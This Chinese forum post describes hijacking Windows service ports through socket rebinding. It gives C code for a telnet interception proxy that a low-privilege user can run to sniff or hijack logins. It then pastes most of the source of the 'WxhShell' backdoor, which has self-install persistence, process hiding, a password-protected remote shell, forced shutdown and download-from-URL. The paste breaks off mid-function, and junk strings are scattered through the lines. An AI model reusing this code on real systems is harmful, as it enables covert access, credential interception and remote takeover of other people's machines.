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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: aOwjYl[?p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =&bI-  
Ktq4b%{  
  saddr.sin_family = AF_INET; hx:q@[ +J/  
M ^o_='\bE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); SiLW[JXd  
DiFYVR<@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }KI/fh  
.<"XE7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =nhY;pY3u  
[7Lr"  
  这意味着什么?意味着可以进行如下的攻击: dHc\M|HCC  
+OE!Uqnt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hmu>s'  
7Y5r3a}%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [.gk{> #  
vd%g'fTy9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4)S99|1  
zjpZ] $  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W [ l  
k]~o=MLmj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 } oPO`  
K^u,B3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V`Cy x^P  
3p%e_?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pU$k{^'UK  
!g@K y$  
  #include u m9yO'[C  
  #include e4S@ J/D  
  #include @Rr=uf G  
  #include    \^!;r9z=A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   J9Ao*IW~  
  int main() 1BSd9Ydj  
  { B9maz"lJ  
  WORD wVersionRequested; Q|'f3\  
  DWORD ret; J:Cr.K`  
  WSADATA wsaData; 4t, 2H"M  
  BOOL val; aLa<z Essz  
  SOCKADDR_IN saddr; D:z'`v0j  
  SOCKADDR_IN scaddr; 0#*6:{/^  
  int err; OQ-) 4Uk}  
  SOCKET s; !HY^QK  
  SOCKET sc; YuK+ N  
  int caddsize; [G<ga80  
  HANDLE mt; "q=Cye  
  DWORD tid;   (dy(.4W\  
  wVersionRequested = MAKEWORD( 2, 2 ); >y3FU1w5d  
  err = WSAStartup( wVersionRequested, &wsaData ); >q"dLZ  
  if ( err != 0 ) { `i.BB jx`  
  printf("error!WSAStartup failed!\n"); ,mHME~  
  return -1; =zkN63S  
  } -DI >O/  
  saddr.sin_family = AF_INET; 7he73  
   1m*)MZ)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EA"hie7  
lL D#|T3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \V? .^/  
  saddr.sin_port = htons(23); mY"7/dw<v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TnF~'RZYb  
  { )DgXsT  
  printf("error!socket failed!\n"); 1 G>Ud6(3<  
  return -1; 4ud(5m;Rle  
  } nu0pzq\6  
  val = TRUE; G+zhL6]F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8y LcTA$T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }]x \ `}o  
  { /K:r4Kw  
  printf("error!setsockopt failed!\n"); HpnF,4A>  
  return -1; )w7vE\n3  
  } 3~>-A=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,lZ19B?WP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eh86-tQI~(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CMj =4e  
IMf|/a9-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8 v/H;65  
  { msl.{  
  ret=GetLastError(); >?$2`I  
  printf("error!bind failed!\n"); ;ku>_sG-  
  return -1; \+ se%O  
  } :""HyjY!  
  listen(s,2); 'RjEdLrI  
  while(1) r2-iISxg+  
  { nBy-/BU&  
  caddsize = sizeof(scaddr); E'08'8y  
  //接受连接请求 )U&9d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 67j kU!  
  if(sc!=INVALID_SOCKET) ]A5F}wV4  
  { ]LvP)0=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S\GWMB!oF  
  if(mt==NULL) 8E%LhA.  
  { #(^<qr   
  printf("Thread Creat Failed!\n"); |AYii-g  
  break; 4 &bmt  
  } 7:4c\C0  
  } m$vq %[/#  
  CloseHandle(mt); x-%O1frc  
  } MBWoPK  
  closesocket(s); LU6R"c11  
  WSACleanup(); \e86'&  
  return 0; 1Lb)S@Q`*R  
  }   vk7IqlEQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) _Ewh:IM-  
  { ]#o;`5'  
  SOCKET ss = (SOCKET)lpParam; "laf:Ty1  
  SOCKET sc; *AH `ob}  
  unsigned char buf[4096]; T`# nn|  
  SOCKADDR_IN saddr; yYz{*hq  
  long num; |` T7}U  
  DWORD val; lNX*s E .  
  DWORD ret; MJ}{Q1|*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FL mD?nw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   " MnWd BS  
  saddr.sin_family = AF_INET; AiHU*dp6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )tlj{ 7p  
  saddr.sin_port = htons(23); 5226 &N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |8 ` }8vo)  
  { ex>7f%\  
  printf("error!socket failed!\n"); ![z2]L+TB  
  return -1; R27'00(Z0  
  } `l|Oj$  
  val = 100; oCT,v0+4O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zyPb\/  
  { Wl| i$L)7  
  ret = GetLastError(); w%L4O;E]*{  
  return -1; 7Z>vQf B  
  } >CvhTrPI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) byM%D$R  
  {  P^te  
  ret = GetLastError(); d+DO}=]  
  return -1; utck{]P  
  } tA1?8`bQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bB<S4@jF8z  
  { wDvu2iC=  
  printf("error!socket connect failed!\n"); u!X~!h-6~  
  closesocket(sc); [RBSUOF  
  closesocket(ss); "(=g7,I4  
  return -1; 8F[ ];LF>  
  } Y-it3q'Z  
  while(1) I~l qg  
  { -6)nQNj|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'Xik2PaO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h,\{s_b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -r *|N.5c  
  num = recv(ss,buf,4096,0); #$UwJB]_D  
  if(num>0) onu G  
  send(sc,buf,num,0); d/  Lz"  
  else if(num==0) kqB# 9  
  break; V Rv4p5  
  num = recv(sc,buf,4096,0); uO4 LD}A  
  if(num>0) =-^A;AO(  
  send(ss,buf,num,0); x-i,v"8  
  else if(num==0) S(.J  
  break; vjX,7NY?  
  } 7rD 8  
  closesocket(ss); #M!u';bZ  
  closesocket(sc); %oiF} >  
  return 0 ; gdIk%m4  
  } /Xi21W/  
0(i3RPIj\  
_i>_Sn1"  
========================================================== `,4yGgD!4  
 )M;~j  
下边附上一个代码,,WXhSHELL 0er| QC  
p@pb[Bx~[  
========================================================== t,YRM$P  
6aB]&WO1@  
#include "stdafx.h" &0kr[Ik.  
sqhMnDn[  
#include <stdio.h> M"*NV(".g  
#include <string.h> Rxdj}xy  
#include <windows.h> g=mKTk   
#include <winsock2.h> 4}C \N  
#include <winsvc.h> L9)gN.#  
#include <urlmon.h>  3?D, Wu  
z#gebr~_\  
#pragma comment (lib, "Ws2_32.lib") {N]WVp*R  
#pragma comment (lib, "urlmon.lib") ;BuMzG:tmZ  
&en2t=a  
#define MAX_USER   100 // 最大客户端连接数 |kZ!-?9Z  
#define BUF_SOCK   200 // sock buffer gq?O}gVD  
#define KEY_BUFF   255 // 输入 buffer )VQ[}iT  
T[4xt,[a  
#define REBOOT     0   // 重启 (+gTIcc >  
#define SHUTDOWN   1   // 关机 E^J &?-  
4Pr^>m  
#define DEF_PORT   5000 // 监听端口 ft7M9<#v  
Mq~E'g4#  
#define REG_LEN     16   // 注册表键长度 TeuZVy8a  
#define SVC_LEN     80   // NT服务名长度 z?13~e[D  
dWzf C@]  
// 从dll定义API }t#|+T2f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R:n|1]*f3X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ([<{RjPb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W?SAa7+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B^9C}QB  
Sm[#L`eqW  
// wxhshell配置信息 hqeknTGsIn  
struct WSCFG { +6>2= ,?Z  
  int ws_port;         // 监听端口 SN)Czi#7  
  char ws_passstr[REG_LEN]; // 口令 GTOA>RB2  
  int ws_autoins;       // 安装标记, 1=yes 0=no mNC?kp  
  char ws_regname[REG_LEN]; // 注册表键名 @5&57R3>  
  char ws_svcname[REG_LEN]; // 服务名 gK~Z Ch  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n3?P8m$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 psvc,V_*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X"3p/!W.4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mvH}G8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y~*B%KnEQy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tX% C5k  
,eTdQI;   
}; G[e,7jev  
8;`B3N7  
// default Wxhshell configuration lI46 f  
struct WSCFG wscfg={DEF_PORT, n<|8Onw  
    "xuhuanlingzhe", gna!Q  
    1, q=e;P;u  
    "Wxhshell", <zY#qFQ2  
    "Wxhshell", V|A.M-XLv4  
            "WxhShell Service", c611&  
    "Wrsky Windows CmdShell Service", OqsuuE  
    "Please Input Your Password: ", $'}|/D  
  1, Q65M(x+oy  
  "http://www.wrsky.com/wxhshell.exe", 7h(  
  "Wxhshell.exe" )+v5 H  
    }; %@(+`CCA  
O.#R r/+)  
// 消息定义模块 KUPQ6v }  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |H=5Am  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n[y=DdiKGS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?lqqu#;8  
char *msg_ws_ext="\n\rExit."; uFmpc7  
char *msg_ws_end="\n\rQuit."; b i-Am/9  
char *msg_ws_boot="\n\rReboot..."; ~YNzSkz  
char *msg_ws_poff="\n\rShutdown..."; Tq* <J~-  
char *msg_ws_down="\n\rSave to "; JoB-&r}\V*  
| #a{1Z)  
char *msg_ws_err="\n\rErr!"; 3v$n}.  
char *msg_ws_ok="\n\rOK!"; !M}-N  
?!F<xi:  
char ExeFile[MAX_PATH]; +?t& 7={~  
int nUser = 0; zxs)o}8icO  
HANDLE handles[MAX_USER]; `r&Ui%fk;0  
int OsIsNt; ?r]0%W^  
lp d~U2&  
SERVICE_STATUS       serviceStatus; V@LBy1z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1Z_]Ge<a  
.rg "(I  
// 函数声明 O>f*D+A-  
int Install(void); rv)Eg53Q  
int Uninstall(void); r_ m|?U %  
int DownloadFile(char *sURL, SOCKET wsh); W@GU;Nr  
int Boot(int flag); .0>bnw  
void HideProc(void); QHXpX9  
int GetOsVer(void); #6y fIvap  
int Wxhshell(SOCKET wsl); {?w *n_T.  
void TalkWithClient(void *cs); 9JMf T]  
int CmdShell(SOCKET sock); * XDe:A  
int StartFromService(void); 9]chv>dO)=  
int StartWxhshell(LPSTR lpCmdLine); W7s  
@w%kOX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \Rt>U|%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f[`&3+  
~6u|@pnI  
// 数据结构和表定义 cWQ &zc  
SERVICE_TABLE_ENTRY DispatchTable[] = ;eFV}DWW  
{  OvC@E]/+  
{wscfg.ws_svcname, NTServiceMain}, &H,UWtU+  
{NULL, NULL} mWoN\Rwj  
}; B'B0e`  
~y 2joStx  
// 自我安装 vPZ0?r_5W  
int Install(void) 7k#>$sY+  
{ ;$*tn"- ?~  
  char svExeFile[MAX_PATH]; 0|hOoO]?q&  
  HKEY key; v-F|#4Q=ut  
  strcpy(svExeFile,ExeFile); D!)h92CIDm  
P$O@G$n  
// 如果是win9x系统,修改注册表设为自启动 =L"I[  
if(!OsIsNt) { e=tM=i"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E-9>lb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~T._ v;IT  
  RegCloseKey(key); H11@ DQ6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fA V.Mj-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VK%ExMSqEh  
  RegCloseKey(key); PJKxh%J  
  return 0; {poTA+i  
    } H]dN'c-  
  } B(wi+;  
} hR>`I0|p&  
else { ]'#^ ~.  
2C_I3S ~U  
// 如果是NT以上系统,安装为系统服务 527u d^:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 93.L887  
if (schSCManager!=0)  OtZtl* 5  
{ !cO<N~0*5x  
  SC_HANDLE schService = CreateService lP(<4mdP  
  ( M;z )c|Z  
  schSCManager, .D=#HEshk  
  wscfg.ws_svcname, b3=XWzK5  
  wscfg.ws_svcdisp, Pl|*+g  
  SERVICE_ALL_ACCESS, e 7Sg-NWV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'F1<m^  
  SERVICE_AUTO_START, Hc0V4NHCaL  
  SERVICE_ERROR_NORMAL, 2Y}A9Veb  
  svExeFile, esv<b>`R  
  NULL, `1 Tg8  
  NULL, }V+&o\4  
  NULL, ,+5 !1>\  
  NULL, (elkk#  
  NULL @<S'f<>g  
  ); %CrpUx  
  if (schService!=0) 61b<6 r0o  
  { 'Te'wh=Y  
  CloseServiceHandle(schService); |L)qH"Eo  
  CloseServiceHandle(schSCManager); @<1T&X{Z!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?`SB GN;  
  strcat(svExeFile,wscfg.ws_svcname); y0t-e   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x}7Xd P.2$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0w$1Yx~C  
  RegCloseKey(key); aTLr%D:Ka  
  return 0; %A@U7gqc  
    } %8"Aq  
  } y$|OE%S  
  CloseServiceHandle(schSCManager); y=1(o3(  
} ,ce$y4%(  
} (jh0cy}|]  
B/EGaYH  
return 1; {RH)&k&%  
} Fz$^CMw5K  
\D! I"mr  
// 自我卸载 g+k yvI7o  
int Uninstall(void) Ys%d  
{ N1]P3  
  HKEY key; Wc/B_F?2  
LC/%AbM  
if(!OsIsNt) { C:}"?tri  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .18MMzdN  
  RegDeleteValue(key,wscfg.ws_regname); 38RyUHL=  
  RegCloseKey(key); Or()AzwE@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kPp7;U2A  
  RegDeleteValue(key,wscfg.ws_regname); 6)3pnhG9  
  RegCloseKey(key); wo) lkovd  
  return 0; \/ /{\d  
  } )9rJ]D^B  
} f:A1j\A?  
} 5bprhq-7  
else { k?Iq 6  
0~nub  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MJ@PAwv"  
if (schSCManager!=0) rge/qUr/^  
{ :LR>U;2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `HM?Fc58  
  if (schService!=0) KQrG|<J  
  { /. @"wAw:  
  if(DeleteService(schService)!=0) { J po(O>\P  
  CloseServiceHandle(schService); NFb<fD[C  
  CloseServiceHandle(schSCManager); %t,Fxj4F  
  return 0; AhSN'gWpbF  
  } &;%LTF@I,  
  CloseServiceHandle(schService); E"Y[k8-:2/  
  } Ivc/g,  
  CloseServiceHandle(schSCManager); sMWNzt  
} )L7h:%h#  
} -IG@v0_w  
H*EN199  
return 1; $%3%&+z$I  
} ,y*|f0&"~  
$[*<e~?  
// 从指定url下载文件 DqBiBH[%h  
int DownloadFile(char *sURL, SOCKET wsh) mp>Ne6\Tu  
{ ,A!0:+  
  HRESULT hr; p+1kU1F0  
char seps[]= "/"; Sa$-Yf  
char *token; H_7EK  
char *file; ksli-Px  
char myURL[MAX_PATH]; ,CQg6- [  
char myFILE[MAX_PATH]; kG3m1: :  
Zm/I&  
strcpy(myURL,sURL); Gmh6|Dsg  
  token=strtok(myURL,seps); 2lRE+_qz  
  while(token!=NULL) 7,Q>>%/0P  
  { :^992]EBEj  
    file=token; GA"zO,  
  token=strtok(NULL,seps);  F]KAnEf  
  } xU;;@9X  
IpI|G!Y,  
GetCurrentDirectory(MAX_PATH,myFILE); qv$m5CJvK  
strcat(myFILE, "\\"); ]F*fQ Ncjy  
strcat(myFILE, file); 6{TUs>~  
  send(wsh,myFILE,strlen(myFILE),0); B)u*c]<qU  
send(wsh,"...",3,0); @ZGD'+zd?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uBfSS\SX|  
  if(hr==S_OK) mvt%3zCB!  
return 0; v,A8Mk2s#  
else PFPZ]XI%F  
return 1; J`d;I#R%c  
._US8  
} +I r  
C7 T}:V](q  
// 系统电源模块 zqa7!ky  
int Boot(int flag) FWDAG$K@0  
{ C{U"Nsu+1  
  HANDLE hToken; 'o]8UD(  
  TOKEN_PRIVILEGES tkp; zP|^) h5  
Y4I;-&d's  
  if(OsIsNt) { [,/~*L;7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  MON]rj7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *'hJ5{U  
    tkp.PrivilegeCount = 1; 6~c:FsZ)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :[.**,0R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'yR)z\)  
if(flag==REBOOT) { BDz 7$k]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x3Ze\N8w  
  return 0; &-hXk!A  
} ^K'@W  
else { yw+LT,AQ.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )>U7+ Me  
  return 0; MC;2.e`  
} :SvgXMY@  
  } oA]rwa UX  
  else { B'8/`0^n5  
if(flag==REBOOT) { VH7nyqEM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V3<H8pL  
  return 0; ?]PE!7H  
} ?n(OH~@$i  
else { + Un(VTD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I> BGp4AQ  
  return 0; .6[7D  
} /l1OC(hm  
} VHqHG`}:  
Bw25+l Px  
return 1; ="J *v>  
} YML]pNB  
bfX yuv  
// win9x进程隐藏模块 qPF`=#  
void HideProc(void) cogIkB&Ju  
{ ,u_ Z0S M  
u.dYDi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d=d*:<Zx  
  if ( hKernel != NULL ) 7oV$TAAf  
  { P+bA>lJd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M)1Y7?r]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }WDzzjDR+  
    FreeLibrary(hKernel); k{ ~0BK  
  } x7ZaI{    
y XT8:2M  
return; Ra/Pk G-7  
} 85?;\ 5%-  
i8->3uB  
// 获取操作系统版本 ,9Si 3vn  
int GetOsVer(void) D1R$s*{  
{ !QS j*)V#  
  OSVERSIONINFO winfo; ^xm%~   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Mqv[7.|  
  GetVersionEx(&winfo); K*S3{s%UR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #g=  
  return 1; z}w7X6&e  
  else #pcgfVl  
  return 0; qsWy <yL+  
} YpI|=mv  
^:~!@$*;6  
// 客户端句柄模块 A~}5T%qb  
int Wxhshell(SOCKET wsl) %%FzBbWAO  
{  D9h  
  SOCKET wsh; yQ0:M/r;0  
  struct sockaddr_in client; Q>(a JF  
  DWORD myID; QtQbr*q@%  
=}zSj64  
  while(nUser<MAX_USER) o3YW(%cYR  
{ C?j:+  
  int nSize=sizeof(client); [h63*&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .tcdqL-'  
  if(wsh==INVALID_SOCKET) return 1; nO+R >8,Q  
Jb*E6-9G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v =d16  
if(handles[nUser]==0) CorV!H4  
  closesocket(wsh); ,pIh.sk7s*  
else /mXxj93UA  
  nUser++; lFl(Sww!\  
  } =;"=o5g_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lhC hk7l  
PdtL Cgd  
  return 0; 1xI  
} s  }Ql9  
YD;G+"n?T  
// 关闭 socket \@[,UZ  
void CloseIt(SOCKET wsh) p(6 sN=  
{ }OY/0p-Z  
closesocket(wsh); mv 7W03  
nUser--; ;y_]w6|n  
ExitThread(0); McpQ7\*h  
} +PS jBO4!  
$,P:B%]  
// 客户端请求句柄 k%BU&%?1  
void TalkWithClient(void *cs) j#0JD!Vr  
{ @VPmr}p:{  
XO+rg&Pu  
  SOCKET wsh=(SOCKET)cs; 6$[7hlE  
  char pwd[SVC_LEN]; rr,w/[  
  char cmd[KEY_BUFF]; ~Up{zRD"B  
char chr[1]; PD&gC88  
int i,j; c]zFZJ6M  
@S=9@3m{w;  
  while (nUser < MAX_USER) { c_8<N7 C  
7i!VgV  
if(wscfg.ws_passstr) { Ek1c>s,t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K_@?Q@#YhR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vxHFNGI  
  //ZeroMemory(pwd,KEY_BUFF); GbclR:G  
      i=0; fbU3-L?  
  while(i<SVC_LEN) { 2j}DI"|h  
vFB^h1k~.M  
  // 设置超时 /-,\$@J5)  
  fd_set FdRead; /0 4US5En  
  struct timeval TimeOut; > (9\ cF{  
  FD_ZERO(&FdRead); VX&PkGi?o  
  FD_SET(wsh,&FdRead); O`Gq7=X  
  TimeOut.tv_sec=8; xhOoZ-  
  TimeOut.tv_usec=0; U3N9O.VC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f um.G{}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6tndC o;`  
P/dnH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BqY_N8l&E  
  pwd=chr[0]; KVJ, a  
  if(chr[0]==0xd || chr[0]==0xa) { 0'fswa)  
  pwd=0; Rh?bBAn8  
  break; l6&\~Z(  
  } YT Zi[/  
  i++; ?)y^ [9  
    } KGHSEZi]  
*Ud(HMTe  
  // 如果是非法用户,关闭 socket b.@a,:"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yjg&/6  
} *Bq}.Yn  
iBd6&?E?<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L"NHr~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m&Mupl  
+ti ?7|bK<  
while(1) { j 0pI  
[YfoQ1  
  ZeroMemory(cmd,KEY_BUFF); N);w~)MYh  
wOl?(w=|  
      // 自动支持客户端 telnet标准   WXl+w7jr  
  j=0; "(^XZAU#W  
  while(j<KEY_BUFF) { (Z SaAn),  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "|L" C+tE  
  cmd[j]=chr[0]; DS<1"4 b|  
  if(chr[0]==0xa || chr[0]==0xd) { K"H\gmV_ g  
  cmd[j]=0; Ki2!sADd  
  break; 3/@z4:p0R  
  } -f)fiQ-<  
  j++; FT@uZWgQ=  
    } _!R$a-  
V@G#U[D  
  // 下载文件 b}3"v(  
  if(strstr(cmd,"http://")) { .p&@;fZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P5h|* ?=  
  if(DownloadFile(cmd,wsh)) _1p8(n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tcuwGs>_  
  else MC}t8L=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kI^* '=:  
  } * x/!i^  
  else { N Qk aW)  
Y$ ys4X  
    switch(cmd[0]) { &X$T "Dp  
  !Rn6x $_  
  // 帮助 elOeXYO0  
  case '?': { .$qa?$@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dAh.I3  
    break; /\I6j;$z  
  } 7K1-.uQ  
  // 安装 hmO2s/~  
  case 'i': { @ _Ey"k<  
    if(Install()) ^Xk!wJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k$w~JO!s  
    else XA>W >|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :v&[ !  
    break; $MQ}+*Wr  
    } Dqx#i-L23  
  // 卸载 n~N>;m P  
  case 'r': { t]yxLl\  
    if(Uninstall()) I"07x'Ahq3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #~*v##^vFH  
    else lvs  XL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7L{1S v  
    break; 6>>; fy2  
    } 9wgB J Jl7  
  // 显示 wxhshell 所在路径  < $~lFV  
  case 'p': { [{znwK@  
    char svExeFile[MAX_PATH]; 3db{Tcn\@]  
    strcpy(svExeFile,"\n\r"); w?Te%/s.  
      strcat(svExeFile,ExeFile); V]=22Cxi'~  
        send(wsh,svExeFile,strlen(svExeFile),0); LW %AZkAx  
    break; #2{-6ey  
    }  +\/Q  
  // 重启 |3*9+4]a  
  case 'b': { jjs/6sSRk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sVLvnX,  
    if(Boot(REBOOT)) 9 BCW2@Kp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FaL\6w  
    else { 1 ^~&"s U  
    closesocket(wsh); bjZJP\6  
    ExitThread(0); 067c/ c  
    } _Cmmx`ln  
    break; +HK4sA2;  
    } a~$XD(w^  
  // 关机 Q#bW"},^k  
  case 'd': { j{@O %fv=  
